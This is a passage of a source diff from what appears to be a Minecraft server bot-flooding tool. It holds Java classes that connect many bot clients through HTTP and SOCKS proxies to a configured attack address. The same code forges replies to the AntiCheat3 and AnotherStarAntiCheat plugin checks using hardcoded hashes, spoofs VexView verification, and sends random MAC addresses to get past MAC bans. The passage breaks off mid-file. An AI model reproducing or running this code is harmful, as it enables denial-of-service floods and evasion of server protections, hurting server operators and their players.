import net.kyori.adventure.text.TranslatableComponent;
|
||||
|
||||
import java.util.ArrayList;
|
||||
import java.util.Arrays;
|
||||
import java.util.List;
|
||||
import java.util.Objects;
|
||||
import java.util.stream.Collectors;
|
||||
|
||||
public class PacketHandler implements cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.Packet.PacketHandler {
|
||||
@Override
|
||||
public boolean checkServerPluginMessagePacket(Object packet) {
|
||||
return packet instanceof ClientboundCustomPayloadPacket;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void handleServerPluginMessagePacket(Object client, Object recvPacket, String username) {
|
||||
ClientboundCustomPayloadPacket packet = (ClientboundCustomPayloadPacket) recvPacket;
|
||||
TcpClientSession session = (TcpClientSession) client;
|
||||
|
||||
switch (packet.getChannel()) {
|
||||
case "AntiCheat3.4.3":
|
||||
AntiCheat3 ac3 = new AntiCheat3();
|
||||
String code = ac3.uncompress(packet.getData());
|
||||
byte[] checkData = ac3.getCheckData("AntiCheat3.jar", code, new String[]{"44f6bc86a41fa0555784c255e3174260"});
|
||||
sendClientPluginMessagePacket(session, "AntiCheat3.4.3", checkData);
|
||||
break;
|
||||
case "anotherstaranticheat":
|
||||
AnotherStarAntiCheat asac = new AnotherStarAntiCheat();
|
||||
String salt = asac.decodeSPacket(packet.getData());
|
||||
byte[] data = asac.encodeCPacket(new String[]{"4863f8708f0c24517bb5d108d45f3e15"}, salt);
|
||||
sendClientPluginMessagePacket(session, "anotherstaranticheat", data);
|
||||
break;
|
||||
case "VexView":
|
||||
if (new String(packet.getData()).equals("GET:Verification")) {
|
||||
sendClientPluginMessagePacket(session, "VexView", "Verification:1.8.10".getBytes());
|
||||
}
|
||||
break;
|
||||
case "MAC|Check":
|
||||
if (ConfigUtil.RandomMAC) {
|
||||
byte[] MACAddress = UniverseMethods.getRandomMAC();
|
||||
LogUtil.doLog(0, "[" + username + "] 已发送随机MACAddress数据。(" + Arrays.toString(MACAddress) + ")", "MACCheck");
|
||||
sendClientPluginMessagePacket(session, packet.getChannel(), MACAddress);
|
||||
}
|
||||
break;
|
||||
default:
|
||||
// 收到插件消息
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean checkServerJoinGamePacket(Object packet) {
|
||||
return packet instanceof ClientboundLoginPacket;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void handleServerJoinGamePacket(Object client, Object recvPacket, String username) {
|
||||
TcpClientSession session = (TcpClientSession) client;
|
||||
session.setFlag("join", true);
|
||||
LogUtil.doLog(0, "[假人加入服务器] [" + username + "]", "BotAttack");
|
||||
|
||||
sendClientSettingPacket(session, "zh_CN");
|
||||
sendClientChangeHeldItemPacket(session, 1);
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean checkServerPlayerPositionRotationPacket(Object packet) {
|
||||
return packet instanceof ClientboundPlayerPositionPacket;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void handleServerPlayerPositionRotationPacket(Object client, Object recvPacket, String username) {
|
||||
TcpClientSession session = (TcpClientSession) client;
|
||||
ClientboundPlayerPositionPacket packet = (ClientboundPlayerPositionPacket) recvPacket;
|
||||
sendPositionRotationPacket(session, packet.getX(), packet.getY(), packet.getZ(), packet.getYaw(), packet.getYaw());
|
||||
sendClientPlayerMovementPacket(session, true);
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean checkServerChatPacket(Object packet) {
|
||||
return packet instanceof ClientboundSystemChatPacket;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void handleServerChatPacket(Object client, Object recvPacket, String username) {
|
||||
ClientboundSystemChatPacket chatPacket = (ClientboundSystemChatPacket) recvPacket;
|
||||
Component message = chatPacket.getContent();
|
||||
if (ConfigUtil.ShowServerMessages && !getMessageText(message).equals("")) {
|
||||
LogUtil.doLog(0, "[服务端返回信息] [" + username + "] " + getMessageText(message), "BotAttack");
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean checkServerKeepAlivePacket(Object packet) {
|
||||
return packet instanceof ClientboundKeepAlivePacket;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void handleServerKeepAlivePacket(Object client, Object recvPacket, String username) {
|
||||
TcpClientSession session = (TcpClientSession) client;
|
||||
ClientboundKeepAlivePacket serverKeepAlivePacket = (ClientboundKeepAlivePacket) recvPacket;
|
||||
if (ConfigUtil.KeepAlive) {
|
||||
sendClientKeepAlivePacket(session, serverKeepAlivePacket.getPingId());
|
||||
} }
|
||||
|
||||
@Override
|
||||
public boolean checkServerPlayerHealthPacket(Object packet) {
|
||||
return packet instanceof ClientboundSetHealthPacket;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void handleServerPlayerHealthPacket(Object client, Object recvPacket, String username) {
|
||||
TcpClientSession session = (TcpClientSession) client;
|
||||
ClientboundSetHealthPacket serverPlayerHealthPacket = (ClientboundSetHealthPacket) recvPacket;
|
||||
double health = serverPlayerHealthPacket.getHealth();
|
||||
if (health <= 0) {
|
||||
sendRespawnPacket(session);
|
||||
LogUtil.doLog(0, "[" + username + "] " + "假人于服务器中死亡,已重生。", "BotAttack");
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public void handleOtherPacket(Object packet) {
|
||||
}
|
||||
|
||||
@Override
|
||||
public void sendChatPacket(Object client, String text) {
|
||||
TcpClientSession session = (TcpClientSession) client;
|
||||
ServerboundChatPacket chatPacket = new ServerboundChatPacket(text, System.currentTimeMillis(), 0, new byte[0], false, new ArrayList<>(), null);
|
||||
session.send(chatPacket);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void sendTabCompletePacket(Object client, String cmd) {
|
||||
TcpClientSession session = (TcpClientSession) client;
|
||||
ServerboundCommandSuggestionPacket clientTabCompletePacket = new ServerboundCommandSuggestionPacket(1, cmd);
|
||||
session.send(clientTabCompletePacket);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void sendPositionPacketFromPacket(Object client, Object recvPacket, boolean random) {
|
||||
TcpClientSession session = (TcpClientSession) client;
|
||||
ClientboundPlayerPositionPacket packet = (ClientboundPlayerPositionPacket) recvPacket;
|
||||
double x = packet.getX() + (random ? OtherUtils.getRandomInt(-10, 10) : 0);
|
||||
double y = packet.getY() + (random ? OtherUtils.getRandomInt(-10, 10) : 0);
|
||||
double z = packet.getZ() + (random ? OtherUtils.getRandomInt(-10, 10) : 0);
|
||||
float yaw = packet.getYaw() + (random ? OtherUtils.getRandomFloat(0.00, 1.00) : 0);
|
||||
float pitch = packet.getPitch() + (random ? OtherUtils.getRandomFloat(0.00, 1.00) : 0);
|
||||
sendPositionRotationPacket(session, x, y, z, yaw, pitch);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void sendCrashBookPacket(Object client) {
|
||||
}
|
||||
|
||||
@Override
|
||||
public Object getMessageFromPacket(Object packet) {
|
||||
ClientboundSystemChatPacket chatPacket = (ClientboundSystemChatPacket) packet;
|
||||
return chatPacket.getContent();
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean hasMessageClickEvent(Object message) {
|
||||
Component msg = (Component) message;
|
||||
return msg.style().clickEvent() != null;
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getMessageText(Object message) {
|
||||
Component msg = (Component) message;
|
||||
return convertComponentToPlainText(msg);
|
||||
}
|
||||
|
||||
public static String convertComponentToPlainText(Component component) {
|
||||
StringBuilder sb = new StringBuilder();
|
||||
if (component instanceof TextComponent) {
|
||||
sb.append(((TextComponent) component).content());
|
||||
} else if (component instanceof TranslatableComponent) {
|
||||
TranslatableComponent translatable = (TranslatableComponent) component;
|
||||
List<Component> args = translatable.args();
|
||||
// 将参数转换为纯文本
|
||||
List<String> argsText = args.stream()
|
||||
.map(PacketHandler::convertComponentToPlainText)
|
||||
.collect(Collectors.toList());
|
||||
// 附加子参数
|
||||
if (argsText.size() >= 2) {
|
||||
sb.append("[").append(argsText.get(0)).append("] ").append(argsText.get(1));
|
||||
// 如果有更多的参数,你可能需要根据实际情况处理
|
||||
}
|
||||
}
|
||||
// 处理子组件
|
||||
List<Component> children = component.children();
|
||||
for (Component child : children) {
|
||||
sb.append(convertComponentToPlainText(child));
|
||||
}
|
||||
return sb.toString();
|
||||
}
|
||||
|
||||
@Override
|
||||
public void handleMessageExtra(cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.Packet.PacketHandler packetHandler, Object message, Object client, String username) {
|
||||
Component msg = (Component) message;
|
||||
for (Component extra : msg.children()) {
|
||||
PacketManager.clickVerifiesHandle(packetHandler, client, extra, username);
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getClickValue(Object message) {
|
||||
Component msg = (Component) message;
|
||||
return Objects.requireNonNull(msg.style().clickEvent()).value();
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean hasMessageExtra(Object message) {
|
||||
Component msg = (Component) message;
|
||||
return !msg.children().isEmpty();
|
||||
}
|
||||
|
||||
private void sendClientPluginMessagePacket(Session session, String channel, byte[] data) {
|
||||
ServerboundCustomPayloadPacket clientPluginMessagePacket = new ServerboundCustomPayloadPacket(channel, data);
|
||||
session.send(clientPluginMessagePacket);
|
||||
}
|
||||
|
||||
private void sendClientSettingPacket(Session session, String locale) {
|
||||
ServerboundClientInformationPacket clientSettingsPacket = new ServerboundClientInformationPacket(locale, 8, ChatVisibility.FULL, true, Arrays.asList(SkinPart.values()), HandPreference.LEFT_HAND, true, true);
|
||||
session.send(clientSettingsPacket);
|
||||
}
|
||||
|
||||
private void sendClientChangeHeldItemPacket(Session session, int slot) {
|
||||
ServerboundSetCarriedItemPacket clientPlayerChangeHeldItemPacket = new ServerboundSetCarriedItemPacket(slot);
|
||||
session.send(clientPlayerChangeHeldItemPacket);
|
||||
}
|
||||
|
||||
private void sendPositionRotationPacket(Session session, double x, double y, double z, float yaw, float pitch) {
|
||||
ServerboundMovePlayerPosRotPacket clientPlayerPositionRotationPacket = new ServerboundMovePlayerPosRotPacket(true, x, y, z, yaw, pitch);
|
||||
session.send(clientPlayerPositionRotationPacket);
|
||||
}
|
||||
|
||||
private void sendClientPlayerMovementPacket(Session session, boolean onGround) {
|
||||
ServerboundMovePlayerStatusOnlyPacket clientPlayerMovementPacket = new ServerboundMovePlayerStatusOnlyPacket(onGround);
|
||||
session.send(clientPlayerMovementPacket);
|
||||
}
|
||||
|
||||
private void sendClientKeepAlivePacket(Session session, long pingId) {
|
||||
ServerboundKeepAlivePacket packet = new ServerboundKeepAlivePacket(pingId);
|
||||
session.send(packet);
|
||||
}
|
||||
|
||||
private void sendRespawnPacket(Session session) {
|
||||
ServerboundClientCommandPacket clientRequestPacket = new ServerboundClientCommandPacket(ClientCommand.RESPAWN);
|
||||
session.send(clientRequestPacket);
|
||||
}
|
||||
}
|
@ -0,0 +1,23 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<module type="JAVA_MODULE" version="4">
|
||||
<component name="NewModuleRootManager" inherit-compiler-output="true">
|
||||
<exclude-output />
|
||||
<content url="file://$MODULE_DIR$">
|
||||
<sourceFolder url="file://$MODULE_DIR$/src" isTestSource="false" />
|
||||
</content>
|
||||
<orderEntry type="inheritedJdk" />
|
||||
<orderEntry type="sourceFolder" forTests="false" />
|
||||
<orderEntry type="module" module-name="VersionFactory" />
|
||||
<orderEntry type="module" module-name="Tools" />
|
||||
<orderEntry type="module" module-name="AdvanceModule" />
|
||||
<orderEntry type="module-library">
|
||||
<library>
|
||||
<CLASSES>
|
||||
<root url="jar://$MODULE_DIR$/../libs/MCP-1.20.1.jar!/" />
|
||||
</CLASSES>
|
||||
<JAVADOC />
|
||||
<SOURCES />
|
||||
</library>
|
||||
</orderEntry>
|
||||
</component>
|
||||
</module>
|
@ -0,0 +1,245 @@
|
||||
package cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.VersionSupport.P1_19_3_1_20_1;
|
||||
|
||||
import cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.Bot.BotManager;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.Packet.PacketManager;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.ConfigUtil;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.LogUtil;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.ProxyUtil;
|
||||
import com.github.steveice10.mc.protocol.MinecraftProtocol;
|
||||
import com.github.steveice10.packetlib.ProxyInfo;
|
||||
import com.github.steveice10.packetlib.Session;
|
||||
import com.github.steveice10.packetlib.event.session.*;
|
||||
import com.github.steveice10.packetlib.packet.Packet;
|
||||
import com.github.steveice10.packetlib.tcp.TcpClientSession;
|
||||
import net.kyori.adventure.text.Component;
|
||||
import net.kyori.adventure.text.ComponentLike;
|
||||
import net.kyori.adventure.text.TextComponent;
|
||||
import net.kyori.adventure.text.TranslatableComponent;
|
||||
|
||||
import java.net.Proxy;
|
||||
import java.util.List;
|
||||
import java.util.stream.Collectors;
|
||||
|
||||
public class BotHandler implements cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.Bot.BotHandler {
|
||||
@Override
|
||||
public Object createClient(Proxy proxy, String userName) {
|
||||
ProxyInfo proxyInfo = new ProxyInfo(getProxyType(ConfigUtil.ProxyType), proxy.address());
|
||||
return new TcpClientSession(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, new MinecraftProtocol(userName), proxyInfo);
|
||||
}
|
||||
|
||||
@Override
|
||||
public Object createClientLocal(String userName) {
|
||||
return new TcpClientSession(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, new MinecraftProtocol(userName));
|
||||
}
|
||||
|
||||
@Override
|
||||
public void connect(Object c, Proxy proxy) {
|
||||
TcpClientSession client = (TcpClientSession) c;
|
||||
String userName = BotManager.clientList.get(c);
|
||||
if (ConfigUtil.ForgeSupport) {
|
||||
LogUtil.doLog(0, "选定的协议库版本无法启用Forge支持。", "ForgeSupport");
|
||||
}
|
||||
|
||||
client.addListener(new SessionListener() {
|
||||
@Override
|
||||
public void packetReceived(Session session, Packet packet) {
|
||||
if (!BotManager.aliveList.containsKey(client)) {
|
||||
if (ConfigUtil.SaveWorkingProxy) {
|
||||
ProxyUtil.saveWorkingProxy(proxy);
|
||||
}
|
||||
BotManager.aliveList.put(client, userName);
|
||||
BotManager.joinedCount++;
|
||||
}
|
||||
|
||||
new Thread(() -> {
|
||||
PacketManager.handlePacket(BotManager.packetHandler, client, packet, userName);
|
||||
}).start();
|
||||
}
|
||||
|
||||
@Override
|
||||
public void packetSending(PacketSendingEvent packetSendingEvent) {
|
||||
}
|
||||
|
||||
@Override
|
||||
public void packetSent(Session session, Packet packet) {
|
||||
}
|
||||
|
||||
@Override
|
||||
public void packetError(PacketErrorEvent packetErrorEvent) {
|
||||
}
|
||||
|
||||
public void connected(ConnectedEvent e) {
|
||||
}
|
||||
|
||||
public void disconnecting(DisconnectingEvent e) {
|
||||
}
|
||||
|
||||
public void disconnected(DisconnectedEvent e) {
|
||||
String disconnectMsg;
|
||||
|
||||
if (e.getCause() == null) {
|
||||
disconnectMsg = convertComponentToPlainText(e.getReason());
|
||||
LogUtil.doLog(0, "[假人断开连接] [" + userName + "] " + disconnectMsg, "BotAttack");
|
||||
} else {
|
||||
disconnectMsg = e.getCause().getClass().getSimpleName();
|
||||
if (ConfigUtil.ShowFails) {
|
||||
LogUtil.doLog(0, "[假人断开连接] [" + userName + "] " + disconnectMsg, "BotAttack");
|
||||
}
|
||||
}
|
||||
|
||||
client.setFlag("disconnectMsg", disconnectMsg);
|
||||
BotManager.aliveList.remove(client);
|
||||
BotManager.failedCount++;
|
||||
}
|
||||
});
|
||||
|
||||
client.connect(true);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void disconnect(Object c) {
|
||||
TcpClientSession client = (TcpClientSession) c;
|
||||
client.disconnect("");
|
||||
}
|
||||
|
||||
@Override
|
||||
public void connectLocal(Object c) {
|
||||
TcpClientSession client = (TcpClientSession) c;
|
||||
String userName = BotManager.clientList.get(c);
|
||||
if (ConfigUtil.ForgeSupport) {
|
||||
LogUtil.doLog(0, "[DEBUG] [载入Mod列表]", "BotAttack");
|
||||
LogUtil.doLog(0, "[DEBUG] [载入Mod列表] 选定的协议库版本无法启用Forge支持。", "BotAttack");
|
||||
}
|
||||
|
||||
LogUtil.doLog(0, "[DEBUG] [创建监听器]", "BotAttack");
|
||||
client.addListener(new SessionListener() {
|
||||
@Override
|
||||
public void packetReceived(Session session, Packet packet) {
|
||||
if (!BotManager.aliveList.containsKey(client)) {
|
||||
BotManager.aliveList.put(client, userName);
|
||||
BotManager.joinedCount++;
|
||||
}
|
||||
|
||||
new Thread(() -> {
|
||||
PacketManager.handlePacket(BotManager.packetHandler, client, packet, userName);
|
||||
}).start();
|
||||
}
|
||||
|
||||
@Override
|
||||
public void packetSending(PacketSendingEvent packetSendingEvent) {
|
||||
}
|
||||
|
||||
@Override
|
||||
public void packetSent(Session session, Packet packet) {
|
||||
}
|
||||
|
||||
@Override
|
||||
public void packetError(PacketErrorEvent packetErrorEvent) {
|
||||
}
|
||||
|
||||
public void connected(ConnectedEvent e) {
|
||||
LogUtil.doLog(0, "[DEBUG] [Bot连接成功]", "BotAttack");
|
||||
}
|
||||
|
||||
public void disconnecting(DisconnectingEvent e) {
|
||||
}
|
||||
|
||||
public void disconnected(DisconnectedEvent e) {
|
||||
String disconnectMsg;
|
||||
|
||||
if (e.getCause() == null) {
|
||||
disconnectMsg = convertComponentToPlainText(e.getReason());
|
||||
LogUtil.doLog(0, "[假人断开连接] [" + userName + "] " + disconnectMsg, "BotAttack");
|
||||
} else {
|
||||
e.getCause().printStackTrace();
|
||||
disconnectMsg = e.getCause().getClass().getSimpleName();
|
||||
if (ConfigUtil.ShowFails) {
|
||||
LogUtil.doLog(0, "[假人断开连接] [" + userName + "] " + disconnectMsg, "BotAttack");
|
||||
}
|
||||
}
|
||||
|
||||
BotManager.failedCount++;
|
||||
client.setFlag("disconnectMsg", disconnectMsg);
|
||||
|
||||
BotManager.aliveList.remove(client);
|
||||
}
|
||||
});
|
||||
|
||||
LogUtil.doLog(0, "[DEBUG] [连接建立开始] " + client.getHost() + ":" + client.getPort(), "BotAttack");
|
||||
client.connect(true);
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean checkClientStatus(Object client) {
|
||||
TcpClientSession c = (TcpClientSession) client;
|
||||
return c.isConnected();
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getClientDisconnectMsg(Object client) {
|
||||
TcpClientSession c = (TcpClientSession) client;
|
||||
return c.getFlag("disconnectMsg");
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean hasClientFlag(Object client, String flag) {
|
||||
TcpClientSession c = (TcpClientSession) client;
|
||||
return c.hasFlag(flag);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void setClientFlag(Object client, String flag) {
|
||||
TcpClientSession c = (TcpClientSession) client;
|
||||
c.setFlag(flag, "");
|
||||
}
|
||||
|
||||
@Override
|
||||
public void setClientTimeout(Object client, long timeout) {
|
||||
TcpClientSession c = (TcpClientSession) client;
|
||||
c.setReadTimeout(Math.toIntExact(timeout));
|
||||
c.setWriteTimeout(Math.toIntExact(timeout));
|
||||
}
|
||||
|
||||
private static ProxyInfo.Type getProxyType(int type) {
|
||||
ProxyInfo.Type proxyType;
|
||||
switch (type) {
|
||||
case 3:
|
||||
proxyType = ProxyInfo.Type.SOCKS5;
|
||||
break;
|
||||
case 2:
|
||||
proxyType = ProxyInfo.Type.SOCKS4;
|
||||
break;
|
||||
case 1:
|
||||
default:
|
||||
proxyType = ProxyInfo.Type.HTTP;
|
||||
break;
|
||||
}
|
||||
|
||||
return proxyType;
|
||||
}
|
||||
|
||||
public static String convertComponentToPlainText(Component component) {
|
||||
StringBuilder sb = new StringBuilder();
|
||||
if (component instanceof TextComponent) {
|
||||
sb.append(((TextComponent) component).content());
|
||||
} else if (component instanceof TranslatableComponent) {
|
||||
TranslatableComponent translatable = (TranslatableComponent) component;
|
||||
List<Component> args = ComponentLike.asComponents(translatable.args());
|
||||
// 将参数转换为纯文本
|
||||
List<String> argsText = args.stream()
|
||||
.map(PacketHandler::convertComponentToPlainText)
|
||||
.collect(Collectors.toList());
|
||||
// 附加子参数
|
||||
if (argsText.size() >= 2) {
|
||||
sb.append("[").append(argsText.get(0)).append("] ").append(argsText.get(1));
|
||||
// 如果有更多的参数,你可能需要根据实际情况处理
|
||||
}
|
||||
}
|
||||
// 处理子组件
|
||||
List<Component> children = component.children();
|
||||
for (Component child : children) {
|
||||
sb.append(convertComponentToPlainText(child));
|
||||
}
|
||||
return sb.toString();
|
||||
}
|
||||
}
|
@ -0,0 +1,279 @@
|
||||
package cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.VersionSupport.P1_19_3_1_20_1;
|
||||
|
||||
import cn.serendipityr.EndMinecraftPlusV2.AdvanceModule.ACProtocol.AnotherStarAntiCheat;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.AdvanceModule.ACProtocol.AntiCheat3;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.Packet.PacketManager;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.UniverseMethods;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.ConfigUtil;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.LogUtil;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.OtherUtils;
|
||||
import com.github.steveice10.mc.protocol.data.game.ClientCommand;
|
||||
import com.github.steveice10.mc.protocol.data.game.entity.player.HandPreference;
|
||||
import com.github.steveice10.mc.protocol.data.game.setting.ChatVisibility;
|
||||
import com.github.steveice10.mc.protocol.data.game.setting.SkinPart;
|
||||
import com.github.steveice10.mc.protocol.packet.ingame.clientbound.ClientboundCustomPayloadPacket;
|
||||
import com.github.steveice10.mc.protocol.packet.ingame.clientbound.ClientboundKeepAlivePacket;
|
||||
import com.github.steveice10.mc.protocol.packet.ingame.clientbound.ClientboundLoginPacket;
|
||||
import com.github.steveice10.mc.protocol.packet.ingame.clientbound.ClientboundSystemChatPacket;
|
||||
import com.github.steveice10.mc.protocol.packet.ingame.clientbound.entity.player.ClientboundPlayerPositionPacket;
|
||||
import com.github.steveice10.mc.protocol.packet.ingame.clientbound.entity.player.ClientboundSetHealthPacket;
|
||||
import com.github.steveice10.mc.protocol.packet.ingame.serverbound.*;
|
||||
import com.github.steveice10.mc.protocol.packet.ingame.serverbound.player.ServerboundMovePlayerPosRotPacket;
|
||||
import com.github.steveice10.mc.protocol.packet.ingame.serverbound.player.ServerboundMovePlayerStatusOnlyPacket;
|
||||
import com.github.steveice10.mc.protocol.packet.ingame.serverbound.player.ServerboundSetCarriedItemPacket;
|
||||
import com.github.steveice10.packetlib.Session;
|
||||
import com.github.steveice10.packetlib.tcp.TcpClientSession;
|
||||
import net.kyori.adventure.text.Component;
|
||||
import net.kyori.adventure.text.TextComponent;
|
||||
import net.kyori.adventure.text.TranslatableComponent;
|
||||
|
||||
import java.util.Arrays;
|
||||
import java.util.BitSet;
|
||||
import java.util.List;
|
||||
import java.util.Objects;
|
||||
import java.util.stream.Collectors;
|
||||
|
||||
public class PacketHandler implements cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.Packet.PacketHandler {
|
||||
@Override
|
||||
public boolean checkServerPluginMessagePacket(Object packet) {
|
||||
return packet instanceof ClientboundCustomPayloadPacket;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void handleServerPluginMessagePacket(Object client, Object recvPacket, String username) {
|
||||
ClientboundCustomPayloadPacket packet = (ClientboundCustomPayloadPacket) recvPacket;
|
||||
TcpClientSession session = (TcpClientSession) client;
|
||||
|
||||
switch (packet.getChannel()) {
|
||||
case "AntiCheat3.4.3":
|
||||
AntiCheat3 ac3 = new AntiCheat3();
|
||||
String code = ac3.uncompress(packet.getData());
|
||||
byte[] checkData = ac3.getCheckData("AntiCheat3.jar", code, new String[]{"44f6bc86a41fa0555784c255e3174260"});
|
||||
sendClientPluginMessagePacket(session, "AntiCheat3.4.3", checkData);
|
||||
break;
|
||||
case "anotherstaranticheat":
|
||||
AnotherStarAntiCheat asac = new AnotherStarAntiCheat();
|
||||
String salt = asac.decodeSPacket(packet.getData());
|
||||
byte[] data = asac.encodeCPacket(new String[]{"4863f8708f0c24517bb5d108d45f3e15"}, salt);
|
||||
sendClientPluginMessagePacket(session, "anotherstaranticheat", data);
|
||||
break;
|
||||
case "VexView":
|
||||
if (new String(packet.getData()).equals("GET:Verification")) {
|
||||
sendClientPluginMessagePacket(session, "VexView", "Verification:1.8.10".getBytes());
|
||||
}
|
||||
break;
|
||||
case "MAC|Check":
|
||||
if (ConfigUtil.RandomMAC) {
|
||||
byte[] MACAddress = UniverseMethods.getRandomMAC();
|
||||
LogUtil.doLog(0, "[" + username + "] 已发送随机MACAddress数据。(" + Arrays.toString(MACAddress) + ")", "MACCheck");
|
||||
sendClientPluginMessagePacket(session, packet.getChannel(), MACAddress);
|
||||
}
|
||||
break;
|
||||
default:
|
||||
// 收到插件消息
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean checkServerJoinGamePacket(Object packet) {
|
||||
return packet instanceof ClientboundLoginPacket;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void handleServerJoinGamePacket(Object client, Object recvPacket, String username) {
|
||||
TcpClientSession session = (TcpClientSession) client;
|
||||
session.setFlag("join", true);
|
||||
LogUtil.doLog(0, "[假人加入服务器] [" + username + "]", "BotAttack");
|
||||
|
||||
sendClientSettingPacket(session, "zh_CN");
|
||||
sendClientChangeHeldItemPacket(session, 1);
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean checkServerPlayerPositionRotationPacket(Object packet) {
|
||||
return packet instanceof ClientboundPlayerPositionPacket;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void handleServerPlayerPositionRotationPacket(Object client, Object recvPacket, String username) {
|
||||
TcpClientSession session = (TcpClientSession) client;
|
||||
ClientboundPlayerPositionPacket packet = (ClientboundPlayerPositionPacket) recvPacket;
|
||||
sendPositionRotationPacket(session, packet.getX(), packet.getY(), packet.getZ(), packet.getYaw(), packet.getYaw());
|
||||
sendClientPlayerMovementPacket(session, true);
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean checkServerChatPacket(Object packet) {
|
||||
return packet instanceof ClientboundSystemChatPacket;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void handleServerChatPacket(Object client, Object recvPacket, String username) {
|
||||
ClientboundSystemChatPacket chatPacket = (ClientboundSystemChatPacket) recvPacket;
|
||||
Component message = chatPacket.getContent();
|
||||
if (ConfigUtil.ShowServerMessages && !getMessageText(message).equals("")) {
|
||||
LogUtil.doLog(0, "[服务端返回信息] [" + username + "] " + getMessageText(message), "BotAttack");
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean checkServerKeepAlivePacket(Object packet) {
|
||||
return packet instanceof ClientboundKeepAlivePacket;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void handleServerKeepAlivePacket(Object client, Object recvPacket, String username) {
|
||||
TcpClientSession session = (TcpClientSession) client;
|
||||
ClientboundKeepAlivePacket serverKeepAlivePacket = (ClientboundKeepAlivePacket) recvPacket;
|
||||
if (ConfigUtil.KeepAlive) {
|
||||
sendClientKeepAlivePacket(session, serverKeepAlivePacket.getPingId());
|
||||
} }
|
||||
|
||||
@Override
|
||||
public boolean checkServerPlayerHealthPacket(Object packet) {
|
||||
return packet instanceof ClientboundSetHealthPacket;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void handleServerPlayerHealthPacket(Object client, Object recvPacket, String username) {
|
||||
TcpClientSession session = (TcpClientSession) client;
|
||||
ClientboundSetHealthPacket serverPlayerHealthPacket = (ClientboundSetHealthPacket) recvPacket;
|
||||
double health = serverPlayerHealthPacket.getHealth();
|
||||
if (health <= 0) {
|
||||
sendRespawnPacket(session);
|
||||
LogUtil.doLog(0, "[" + username + "] " + "假人于服务器中死亡,已重生。", "BotAttack");
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public void handleOtherPacket(Object packet) {
|
||||
}
|
||||
|
||||
@Override
|
||||
public void sendChatPacket(Object client, String text) {
|
||||
TcpClientSession session = (TcpClientSession) client;
|
||||
ServerboundChatPacket chatPacket = new ServerboundChatPacket(text, System.currentTimeMillis(), 0, null, 0, new BitSet());
|
||||
session.send(chatPacket);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void sendTabCompletePacket(Object client, String cmd) {
|
||||
TcpClientSession session = (TcpClientSession) client;
|
||||
ServerboundCommandSuggestionPacket clientTabCompletePacket = new ServerboundCommandSuggestionPacket(1, cmd);
|
||||
session.send(clientTabCompletePacket);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void sendPositionPacketFromPacket(Object client, Object recvPacket, boolean random) {
|
||||
TcpClientSession session = (TcpClientSession) client;
|
||||
ClientboundPlayerPositionPacket packet = (ClientboundPlayerPositionPacket) recvPacket;
|
||||
double x = packet.getX() + (random ? OtherUtils.getRandomInt(-10, 10) : 0);
|
||||
double y = packet.getY() + (random ? OtherUtils.getRandomInt(-10, 10) : 0);
|
||||
double z = packet.getZ() + (random ? OtherUtils.getRandomInt(-10, 10) : 0);
|
||||
float yaw = packet.getYaw() + (random ? OtherUtils.getRandomFloat(0.00, 1.00) : 0);
|
||||
float pitch = packet.getPitch() + (random ? OtherUtils.getRandomFloat(0.00, 1.00) : 0);
|
||||
sendPositionRotationPacket(session, x, y, z, yaw, pitch);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void sendCrashBookPacket(Object client) {
|
||||
}
|
||||
|
||||
@Override
|
||||
public Object getMessageFromPacket(Object packet) {
|
||||
